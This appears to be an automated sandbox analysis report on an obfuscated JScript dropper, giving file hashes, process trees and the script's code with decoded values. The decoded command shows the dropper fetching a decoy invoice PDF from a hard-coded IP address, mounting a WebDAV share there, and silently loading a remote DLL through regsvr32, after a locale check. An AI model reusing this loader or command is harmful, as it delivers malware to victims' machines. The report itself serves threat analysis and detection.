Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17860), with CRLF line terminators
Entropy (8bit):	4.915948312821084
TrID:
File name:	1053816775239920795.js
File size:	21'405 bytes
MD5:	655df407ae38c49489d07589ec4a0fd9
SHA1:	5460d3ef38776d88d9b997f2d4e76f480fbd3d20
SHA256:	5bc7b240bd0e43cf7f087592c103f140c69688df1f86c24386ba546b2865f6ae
SHA512:	1a1469a55f358fb359dd17d340b47dc6284ee1a0edcf44e4918354d5457de7c725cde9a3aedfef0bcde03fd3425aa19bbcee68022a43c0e234215bfbfed5a194
SSDEEP:	384:AQAxa/+cAlwoV65CT6OmXNnNFfAUTzSPA/DHfHp3fw1V2/:AQAxa/+cAlvo52UNZIWHp34X2/
TLSH:	03A252C8E4428BAFDCE419B8D9FB15DF47CCC2CE0E7940A81A6460D754AD53AB0F86B5
File Content Preview:	function tayai(){ziahsfgr=[1031,3079,5127,4103,2055,3072];var yavxea=this[ixzbulqla+xsgcyf+vfjhnp+unftsi+rzthtser+zpomgjjvr+ghgjymtkh+ioxneq](this[jwctcku+wkmcz+sgyyarsf+vfjhnp+yuiirjj+ixzbulqla+ioxneq][kfygl+vfjhnp+rzthtser+xsgcyf+ioxneq+rzthtser+impaifv

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	14:23:34
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1053816775239920795.js"
Imagebase:	0x7ff777310000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:23:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll
Imagebase:	0x7ff6b8240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:23:35
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:23:35
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	14:23:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	14:23:42
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b8240000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	14:23:42
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cacb0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	14:23:42
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	14:23:43
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	14:23:43
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1772,i,9263835075229327552,11268087022139543070,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tayai() {	tayai() ➔ undefined
1	ziahsfgr = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yavxea = this[ixzbulqla + xsgcyf + vfjhnp + unftsi + rzthtser + zpomgjjvr + ghgjymtkh + ioxneq] ( this[jwctcku + wkmcz + sgyyarsf + vfjhnp + yuiirjj + ixzbulqla + ioxneq][kfygl + vfjhnp + rzthtser + xsgcyf + ioxneq + rzthtser + impaifvtd + ackwqde + kflihksa + rzthtser + sgyyarsf + ioxneq] ( jwctcku + wkmcz + sgyyarsf + vfjhnp + yuiirjj + ixzbulqla + ioxneq + wuvaskmr + wkmcz + ndpuq + rzthtser + evexelkk + evexelkk ) [tqgjqd + rzthtser + wspieiq + tqgjqd + rzthtser + xsgcyf + suthgwq] ( jpcpdp + nqopwj + zjfbkzsxu + ershy + nawlits + kfygl + titwkj + tqgjqd + tqgjqd + zjfbkzsxu + ivuer + ydlulua + nawlits + titwkj + wkmcz + zjfbkzsxu + tqgjqd + fcgpj + kfygl + vxrnhgooe + ghgjymtkh + ioxneq + vfjhnp + vxrnhgooe + evexelkk + bfsgobewq + ddznn + xsgcyf + ghgjymtkh + rzthtser + evexelkk + fcgpj + zpomgjjvr + ghgjymtkh + ioxneq + rzthtser + vfjhnp + ghgjymtkh + xsgcyf + ioxneq + yuiirjj + vxrnhgooe + ghgjymtkh + xsgcyf + evexelkk + fcgpj + psfcwsa + vxrnhgooe + sgyyarsf + xsgcyf + evexelkk + rzthtser ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( bugwnjmov = 0 ; bugwnjmov < ziahsfgr[evexelkk + rzthtser + ghgjymtkh + wspieiq + ioxneq + ndpuq] ; ++ bugwnjmov )
4	{
5	if ( yavxea == ziahsfgr[bugwnjmov] )
6	{
7	yavxea = true;
8	break ;
9	}
10	}
11	if ( yavxea !== true )
12	this[jwctcku + wkmcz + sgyyarsf + vfjhnp + yuiirjj + ixzbulqla + ioxneq][vwacmrjne + xgqzspvz + yuiirjj + ioxneq] ( );
13	this[jwctcku + wkmcz + sgyyarsf + vfjhnp + yuiirjj + ixzbulqla + ioxneq][kfygl + vfjhnp + rzthtser + xsgcyf + ioxneq + rzthtser + impaifvtd + ackwqde + kflihksa + rzthtser + sgyyarsf + ioxneq] ( jwctcku + wkmcz + sgyyarsf + vfjhnp + yuiirjj + ixzbulqla + ioxneq + wuvaskmr + wkmcz + ndpuq + rzthtser + evexelkk + evexelkk ) [vfjhnp + xgqzspvz + ghgjymtkh] ( sgyyarsf + rwfrgud + suthgwq + bfsgobewq + sgauw + sgyyarsf + bfsgobewq + ixzbulqla + vxrnhgooe + ckfyju + rzthtser + vfjhnp + unftsi + ndpuq + rzthtser + evexelkk + evexelkk + wuvaskmr + rzthtser + mgojhivp + rzthtser + bfsgobewq + jalhwa + kfygl + vxrnhgooe + rwfrgud + rwfrgud + xsgcyf + ghgjymtkh + suthgwq + bfsgobewq + mdpkkhypi + zpomgjjvr + ghgjymtkh + zhflp + vxrnhgooe + lscrdvkop + rzthtser + jalhwa + jwctcku + rzthtser + ackwqde + tqgjqd + rzthtser + ffkgir + xgqzspvz + rzthtser + unftsi + ioxneq + bfsgobewq + jalhwa + impaifvtd + xgqzspvz + ioxneq + txonorl + yuiirjj + evexelkk + rzthtser + bfsgobewq + uywxyw + ioxneq + rzthtser + rwfrgud + ixzbulqla + uywxyw + fcgpj + yuiirjj + ghgjymtkh + zhflp + vxrnhgooe + yuiirjj + sgyyarsf + rzthtser + wuvaskmr + ixzbulqla + suthgwq + jnupsk + bfsgobewq + ndpuq + ioxneq + ioxneq + ixzbulqla + ythpbi + sgauw + sgauw + edljqoqm + iugzpjme + wrnxxg + wuvaskmr + edljqoqm + nlrhaohad + wrnxxg + wuvaskmr + edljqoqm + wuvaskmr + ybtlyb + krail + aowzjqd + sgauw + yuiirjj + ghgjymtkh + zhflp + vxrnhgooe + yuiirjj + sgyyarsf + rzthtser + wuvaskmr + ixzbulqla + ndpuq + ixzbulqla + mdpkkhypi + jtadr + jtadr + unftsi + ioxneq + xsgcyf + vfjhnp + ioxneq + bfsgobewq + uywxyw + ioxneq + rzthtser + rwfrgud + ixzbulqla + uywxyw + fcgpj + yuiirjj + ghgjymtkh + zhflp + vxrnhgooe + yuiirjj + sgyyarsf + rzthtser + wuvaskmr + ixzbulqla + suthgwq + jnupsk + jtadr + jtadr + sgyyarsf + rwfrgud + suthgwq + bfsgobewq + sgauw + sgyyarsf + bfsgobewq + ghgjymtkh + rzthtser + ioxneq + bfsgobewq + xgqzspvz + unftsi + rzthtser + bfsgobewq + fcgpj + fcgpj + edljqoqm + iugzpjme + wrnxxg + wuvaskmr + edljqoqm + nlrhaohad + wrnxxg + wuvaskmr + edljqoqm + wuvaskmr + ybtlyb + krail + aowzjqd + bgodwcymh + liahcxhes + liahcxhes + liahcxhes + liahcxhes + fcgpj + suthgwq + xsgcyf + zhflp + ckfyju + ckfyju + ckfyju + vfjhnp + vxrnhgooe + vxrnhgooe + ioxneq + fcgpj + jtadr + jtadr + sgyyarsf + rwfrgud + suthgwq + bfsgobewq + sgauw + sgyyarsf + bfsgobewq + vfjhnp + rzthtser + wspieiq + unftsi + zhflp + vfjhnp + wrnxxg + ybtlyb + bfsgobewq + sgauw + unftsi + bfsgobewq + fcgpj + fcgpj + edljqoqm + iugzpjme + wrnxxg + wuvaskmr + edljqoqm + nlrhaohad + wrnxxg + wuvaskmr + edljqoqm + wuvaskmr + ybtlyb + krail + aowzjqd + bgodwcymh + liahcxhes + liahcxhes + liahcxhes + liahcxhes + fcgpj + suthgwq + xsgcyf + zhflp + ckfyju + ckfyju + ckfyju + vfjhnp + vxrnhgooe + vxrnhgooe + ioxneq + fcgpj + ybtlyb + ybtlyb + edljqoqm + ybtlyb + ybtlyb + wrnxxg + iuolm + gjvtcbyw + iuolm + edljqoqm + wrnxxg + ybtlyb + ybtlyb + liahcxhes + wuvaskmr + suthgwq + evexelkk + evexelkk, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22122367613228.dll",0,false) ➔ 0
14	}
15	vxrnhgooe = "v";
16	vxrnhgooe = "A";
17	vxrnhgooe = "c";
18	vxrnhgooe = "o";
19	xsgcyf = "E";
20	xsgcyf = "v";
21	xsgcyf = "A";
22	xsgcyf = "k";
23	xsgcyf = "S";
24	xsgcyf = "w";
25	xsgcyf = "H";
26	xsgcyf = "C";
27	xsgcyf = "j";
28	xsgcyf = "t";
29	xsgcyf = "z";
30	xsgcyf = "U";
31	xsgcyf = "Z";
32	xsgcyf = "J";
33	xsgcyf = "w";
34	xsgcyf = "e";
35	xsgcyf = "M";
36	xsgcyf = "a";
37	zhflp = "O";
38	zhflp = "d";
39	zhflp = "v";
40	vwacmrjne = "j";
41	vwacmrjne = "a";
42	vwacmrjne = "l";
43	vwacmrjne = "t";
44	vwacmrjne = "j";
45	vwacmrjne = "s";
46	vwacmrjne = "x";
47	vwacmrjne = "U";
48	vwacmrjne = "R";
49	vwacmrjne = "H";
50	vwacmrjne = "G";
51	vwacmrjne = "R";
52	vwacmrjne = "y";
53	vwacmrjne = "F";
54	vwacmrjne = "t";
55	vwacmrjne = "T";
56	vwacmrjne = "M";
57	vwacmrjne = "e";
58	vwacmrjne = "X";
59	vwacmrjne = "R";
60	vwacmrjne = "D";
61	vwacmrjne = "D";
62	vwacmrjne = "g";
63	vwacmrjne = "T";
64	vwacmrjne = "U";
65	vwacmrjne = "A";
66	vwacmrjne = "p";
67	vwacmrjne = "Q";
68	kfygl = "O";
69	kfygl = "Y";
70	kfygl = "F";
71	kfygl = "I";
72	kfygl = "I";
73	kfygl = "k";
74	kfygl = "x";
75	kfygl = "m";
76	kfygl = "f";
77	kfygl = "f";
78	kfygl = "c";
79	kfygl = "V";
80	kfygl = "C";
81	ndpuq = "M";
82	ndpuq = "l";
83	ndpuq = "j";
84	ndpuq = "I";
85	ndpuq = "v";
86	ndpuq = "n";
87	ndpuq = "S";
88	ndpuq = "k";
89	ndpuq = "H";
90	ndpuq = "k";
91	ndpuq = "i";
92	ndpuq = "h";
93	ndpuq = "i";
94	ndpuq = "K";
95	ndpuq = "O";
96	ndpuq = "Z";
97	ndpuq = "G";
98	ndpuq = "N";
99	ndpuq = "O";
100	ndpuq = "V";
101	ndpuq = "c";
102	ndpuq = "v";
103	ndpuq = "D";
104	ndpuq = "h";
105	uywxyw = "w";
106	uywxyw = "e";
107	uywxyw = "C";
108	uywxyw = "g";
109	uywxyw = "F";
110	uywxyw = "B";
111	uywxyw = "X";
112	uywxyw = "e";
113	uywxyw = "T";
114	uywxyw = "J";
115	uywxyw = "X";
116	uywxyw = "u";
117	uywxyw = "U";
118	uywxyw = "U";
119	uywxyw = "I";
120	uywxyw = "g";
121	uywxyw = "i";
122	uywxyw = "M";
123	uywxyw = "O";
124	uywxyw = "e";
125	uywxyw = "R";
126	uywxyw = "N";
127	uywxyw = "x";
128	uywxyw = "O";
129	uywxyw = "R";
130	uywxyw = "f";
131	uywxyw = "z";
132	uywxyw = "T";
133	uywxyw = "P";
134	uywxyw = "M";
135	uywxyw = "b";
136	uywxyw = "P";
137	uywxyw = "V";
138	uywxyw = "O";
139	uywxyw = "B";
140	uywxyw = "F";
141	uywxyw = "f";
142	uywxyw = "H";
143	uywxyw = "c";
144	uywxyw = "I";
145	uywxyw = "d";
146	uywxyw = "%";
147	psfcwsa = "b";
148	psfcwsa = "H";
149	psfcwsa = "Y";
150	psfcwsa = "n";
151	psfcwsa = "H";
152	psfcwsa = "X";
153	psfcwsa = "T";
154	psfcwsa = "l";
155	psfcwsa = "F";
156	psfcwsa = "U";
157	psfcwsa = "q";
158	psfcwsa = "K";
159	psfcwsa = "e";
160	psfcwsa = "j";
161	psfcwsa = "E";
162	psfcwsa = "i";
163	psfcwsa = "L";
164	titwkj = "e";
165	titwkj = "O";
166	titwkj = "a";
167	titwkj = "J";
168	titwkj = "O";
169	titwkj = "b";
170	titwkj = "o";
171	titwkj = "t";
172	titwkj = "l";
173	titwkj = "v";
174	titwkj = "U";
175	titwkj = "s";
176	titwkj = "q";
177	titwkj = "U";
178	titwkj = "x";
179	titwkj = "v";
180	titwkj = "k";
181	titwkj = "S";
182	titwkj = "i";
183	titwkj = "l";
184	titwkj = "O";
185	titwkj = "X";
186	titwkj = "z";
187	titwkj = "a";
188	titwkj = "g";
189	titwkj = "D";
190	titwkj = "B";
191	titwkj = "B";
192	titwkj = "w";
193	titwkj = "K";
194	titwkj = "D";
195	titwkj = "r";
196	titwkj = "z";
197	titwkj = "q";
198	titwkj = "E";
199	titwkj = "G";
200	titwkj = "w";
201	titwkj = "c";
202	titwkj = "R";
203	titwkj = "F";
204	titwkj = "U";
205	nqopwj = "o";
206	nqopwj = "t";
207	nqopwj = "u";
208	nqopwj = "U";
209	nqopwj = "R";
210	nqopwj = "n";
211	nqopwj = "X";
212	nqopwj = "M";
213	nqopwj = "I";
214	nqopwj = "X";
215	nqopwj = "O";
216	nqopwj = "N";
217	nqopwj = "k";
218	nqopwj = "J";
219	nqopwj = "y";
220	nqopwj = "B";
221	nqopwj = "s";
222	nqopwj = "X";
223	nqopwj = "M";
224	nqopwj = "z";
225	nqopwj = "a";
226	nqopwj = "f";
227	nqopwj = "E";
228	nqopwj = "d";
229	nqopwj = "P";
230	nqopwj = "q";
231	nqopwj = "F";
232	nqopwj = "p";
233	nqopwj = "i";
234	nqopwj = "w";
235	nqopwj = "f";
236	nqopwj = "K";
237	wuvaskmr = "C";
238	wuvaskmr = "w";
239	wuvaskmr = "j";
240	wuvaskmr = "s";
241	wuvaskmr = "h";
242	wuvaskmr = "M";
243	wuvaskmr = "t";
244	wuvaskmr = "m";
245	wuvaskmr = "I";
246	wuvaskmr = "a";
247	wuvaskmr = "M";
248	wuvaskmr = "U";
249	wuvaskmr = "U";
250	wuvaskmr = "F";
251	wuvaskmr = "C";
252	wuvaskmr = "o";
253	wuvaskmr = "y";
254	wuvaskmr = "W";
255	wuvaskmr = "S";
256	wuvaskmr = "e";
257	wuvaskmr = "C";
258	wuvaskmr = "H";
259	wuvaskmr = "Y";
260	wuvaskmr = "I";
261	wuvaskmr = "h";
262	wuvaskmr = "l";
263	wuvaskmr = "w";
264	wuvaskmr = "T";
265	wuvaskmr = "U";
266	wuvaskmr = ".";
267	sgyyarsf = "s";
268	sgyyarsf = "k";
269	sgyyarsf = "P";
270	sgyyarsf = "i";
271	sgyyarsf = "y";
272	sgyyarsf = "g";
273	sgyyarsf = "G";
274	sgyyarsf = "M";
275	sgyyarsf = "V";
276	sgyyarsf = "Y";
277	sgyyarsf = "E";
278	sgyyarsf = "P";
279	sgyyarsf = "O";
280	sgyyarsf = "H";
281	sgyyarsf = "f";
282	sgyyarsf = "f";
283	sgyyarsf = "c";
284	jwctcku = "G";
285	jwctcku = "C";
286	jwctcku = "N";
287	jwctcku = "l";
288	jwctcku = "O";
289	jwctcku = "E";
290	jwctcku = "q";
291	jwctcku = "L";
292	jwctcku = "Y";
293	jwctcku = "j";
294	jwctcku = "Q";
295	jwctcku = "D";
296	jwctcku = "V";
297	jwctcku = "z";
298	jwctcku = "j";
299	jwctcku = "Q";
300	jwctcku = "y";
301	jwctcku = "A";
302	jwctcku = "S";
303	jwctcku = "P";
304	jwctcku = "i";
305	jwctcku = "q";
306	jwctcku = "C";
307	jwctcku = "r";
308	jwctcku = "z";
309	jwctcku = "W";
310	nawlits = "C";
311	nawlits = "G";
312	nawlits = "b";
313	nawlits = "u";
314	nawlits = "F";
315	nawlits = "i";
316	nawlits = "z";
317	nawlits = "g";
318	nawlits = "a";
319	nawlits = "O";
320	nawlits = "x";
321	nawlits = "m";
322	nawlits = "u";
323	nawlits = "Y";
324	nawlits = "E";
325	nawlits = "a";
326	nawlits = "d";
327	nawlits = "v";
328	nawlits = "V";
329	nawlits = "V";
330	nawlits = "B";
331	nawlits = "M";
332	nawlits = "D";
333	nawlits = "t";
334	nawlits = "Z";
335	nawlits = "Q";
336	nawlits = "F";
337	nawlits = "H";
338	nawlits = "_";
339	rwfrgud = "X";
340	rwfrgud = "O";
341	rwfrgud = "G";
342	rwfrgud = "I";
343	rwfrgud = "i";
344	rwfrgud = "t";
345	rwfrgud = "L";
346	rwfrgud = "Z";
347	rwfrgud = "m";
348	sgauw = "E";
349	sgauw = "m";
350	sgauw = "Y";
351	sgauw = "Y";
352	sgauw = "W";
353	sgauw = "T";
354	sgauw = "a";
355	sgauw = "m";
356	sgauw = "X";
357	sgauw = "x";
358	sgauw = "x";
359	sgauw = "N";
360	sgauw = "B";
361	sgauw = "R";
362	sgauw = "v";
363	sgauw = "Y";
364	sgauw = "l";
365	sgauw = "e";
366	sgauw = "G";
367	sgauw = "s";
368	sgauw = "t";
369	sgauw = "f";
370	sgauw = "v";
371	sgauw = "s";
372	sgauw = "I";
373	sgauw = "g";
374	sgauw = "A";
375	sgauw = "K";
376	sgauw = "B";
377	sgauw = "o";
378	sgauw = "b";
379	sgauw = "w";
380	sgauw = "T";
381	sgauw = "A";
382	sgauw = "G";
383	sgauw = "w";
384	sgauw = "P";
385	sgauw = "l";
386	sgauw = "Q";
387	sgauw = "K";
388	sgauw = "W";
389	sgauw = "/";
390	wspieiq = "f";
391	wspieiq = "u";
392	wspieiq = "c";
393	wspieiq = "B";
394	wspieiq = "S";
395	wspieiq = "q";
396	wspieiq = "g";
397	wspieiq = "z";
398	wspieiq = "p";
399	wspieiq = "R";
400	wspieiq = "g";
401	wspieiq = "w";
402	wspieiq = "e";
403	wspieiq = "A";
404	wspieiq = "P";
405	wspieiq = "s";
406	wspieiq = "o";
407	wspieiq = "n";
408	wspieiq = "L";
409	wspieiq = "H";
410	wspieiq = "a";
411	wspieiq = "h";
412	wspieiq = "J";
413	wspieiq = "x";
414	wspieiq = "J";
415	wspieiq = "L";
416	wspieiq = "c";
417	wspieiq = "A";
418	wspieiq = "f";
419	wspieiq = "f";
420	wspieiq = "Z";
421	wspieiq = "D";
422	wspieiq = "J";
423	wspieiq = "j";
424	wspieiq = "D";
425	wspieiq = "g";
426	aowzjqd = "o";
427	aowzjqd = "H";
428	aowzjqd = "f";
429	aowzjqd = "Z";
430	aowzjqd = "s";
431	aowzjqd = "M";
432	aowzjqd = "E";
433	aowzjqd = "w";
434	aowzjqd = "5";
435	ghgjymtkh = "J";
436	ghgjymtkh = "o";
437	ghgjymtkh = "t";
438	ghgjymtkh = "M";
439	ghgjymtkh = "Y";
440	ghgjymtkh = "U";
441	ghgjymtkh = "G";
442	ghgjymtkh = "u";
443	ghgjymtkh = "S";
444	ghgjymtkh = "x";
445	ghgjymtkh = "t";
446	ghgjymtkh = "F";
447	ghgjymtkh = "L";
448	ghgjymtkh = "o";
449	ghgjymtkh = "v";
450	ghgjymtkh = "M";
451	ghgjymtkh = "F";
452	ghgjymtkh = "t";
453	ghgjymtkh = "a";
454	ghgjymtkh = "C";
455	ghgjymtkh = "E";
456	ghgjymtkh = "p";
457	ghgjymtkh = "n";
458	ghgjymtkh = "M";
459	ghgjymtkh = "E";
460	ghgjymtkh = "V";
461	ghgjymtkh = "Y";
462	ghgjymtkh = "M";
463	ghgjymtkh = "l";
464	ghgjymtkh = "E";
465	ghgjymtkh = "B";
466	ghgjymtkh = "m";
467	ghgjymtkh = "W";
468	ghgjymtkh = "n";
469	ackwqde = "b";
470	ackwqde = "B";
471	ackwqde = "Z";
472	ackwqde = "F";
473	ackwqde = "Q";
474	ackwqde = "z";
475	ackwqde = "U";
476	ackwqde = "D";
477	ackwqde = "h";
478	ackwqde = "v";
479	ackwqde = "V";
480	ackwqde = "F";
481	ackwqde = "N";
482	ackwqde = "u";
483	ackwqde = "y";
484	ackwqde = "U";
485	ackwqde = "D";
486	ackwqde = "w";
487	ackwqde = "D";
488	ackwqde = "Q";
489	ackwqde = "e";
490	ackwqde = "y";
491	ackwqde = "X";
492	ackwqde = "f";
493	ackwqde = "k";
494	ackwqde = "z";
495	ackwqde = "b";
496	ackwqde = "u";
497	ackwqde = "o";
498	ackwqde = "L";
499	ackwqde = "J";
500	ackwqde = "J";
501	ackwqde = "r";
502	ackwqde = "a";
503	ackwqde = "W";
504	ackwqde = "b";
505	rzthtser = "D";
506	rzthtser = "n";
507	rzthtser = "S";
508	rzthtser = "E";
509	rzthtser = "F";
510	rzthtser = "K";
511	rzthtser = "p";
512	rzthtser = "W";
513	rzthtser = "T";
514	rzthtser = "s";
515	rzthtser = "c";
516	rzthtser = "m";
517	rzthtser = "I";
518	rzthtser = "W";
519	rzthtser = "Y";
520	rzthtser = "I";
521	rzthtser = "z";
522	rzthtser = "e";
523	rzthtser = "W";
524	rzthtser = "o";
525	rzthtser = "X";
526	rzthtser = "Z";
527	rzthtser = "g";
528	rzthtser = "d";
529	rzthtser = "L";
530	rzthtser = "G";
531	rzthtser = "V";
532	rzthtser = "N";
533	rzthtser = "A";
534	rzthtser = "o";
535	rzthtser = "f";
536	rzthtser = "E";
537	rzthtser = "r";
538	rzthtser = "K";
539	rzthtser = "m";
540	rzthtser = "Q";
541	rzthtser = "i";
542	rzthtser = "Q";
543	rzthtser = "e";
544	evexelkk = "Z";
545	evexelkk = "l";
546	evexelkk = "s";
547	evexelkk = "v";
548	evexelkk = "Y";
549	evexelkk = "R";
550	evexelkk = "T";
551	evexelkk = "M";
552	evexelkk = "C";
553	evexelkk = "M";
554	evexelkk = "s";
555	evexelkk = "P";
556	evexelkk = "m";
557	evexelkk = "R";
558	evexelkk = "V";
559	evexelkk = "w";
560	evexelkk = "N";
561	evexelkk = "B";
562	evexelkk = "B";
563	evexelkk = "i";
564	evexelkk = "d";
565	evexelkk = "i";
566	evexelkk = "A";
567	evexelkk = "B";
568	evexelkk = "q";
569	evexelkk = "u";
570	evexelkk = "D";
571	evexelkk = "c";
572	evexelkk = "l";
573	xgqzspvz = "d";
574	xgqzspvz = "j";
575	xgqzspvz = "p";
576	xgqzspvz = "p";
577	xgqzspvz = "U";
578	xgqzspvz = "v";
579	xgqzspvz = "n";
580	xgqzspvz = "j";
581	xgqzspvz = "u";
582	xgqzspvz = "I";
583	xgqzspvz = "x";
584	xgqzspvz = "d";
585	xgqzspvz = "R";
586	xgqzspvz = "u";
587	jalhwa = "C";
588	jalhwa = "X";
589	jalhwa = "f";
590	jalhwa = "r";
591	jalhwa = "L";
592	jalhwa = "g";
593	jalhwa = "l";
594	jalhwa = "C";
595	jalhwa = "R";
596	jalhwa = "z";
597	jalhwa = "Q";
598	jalhwa = "o";
599	jalhwa = "e";
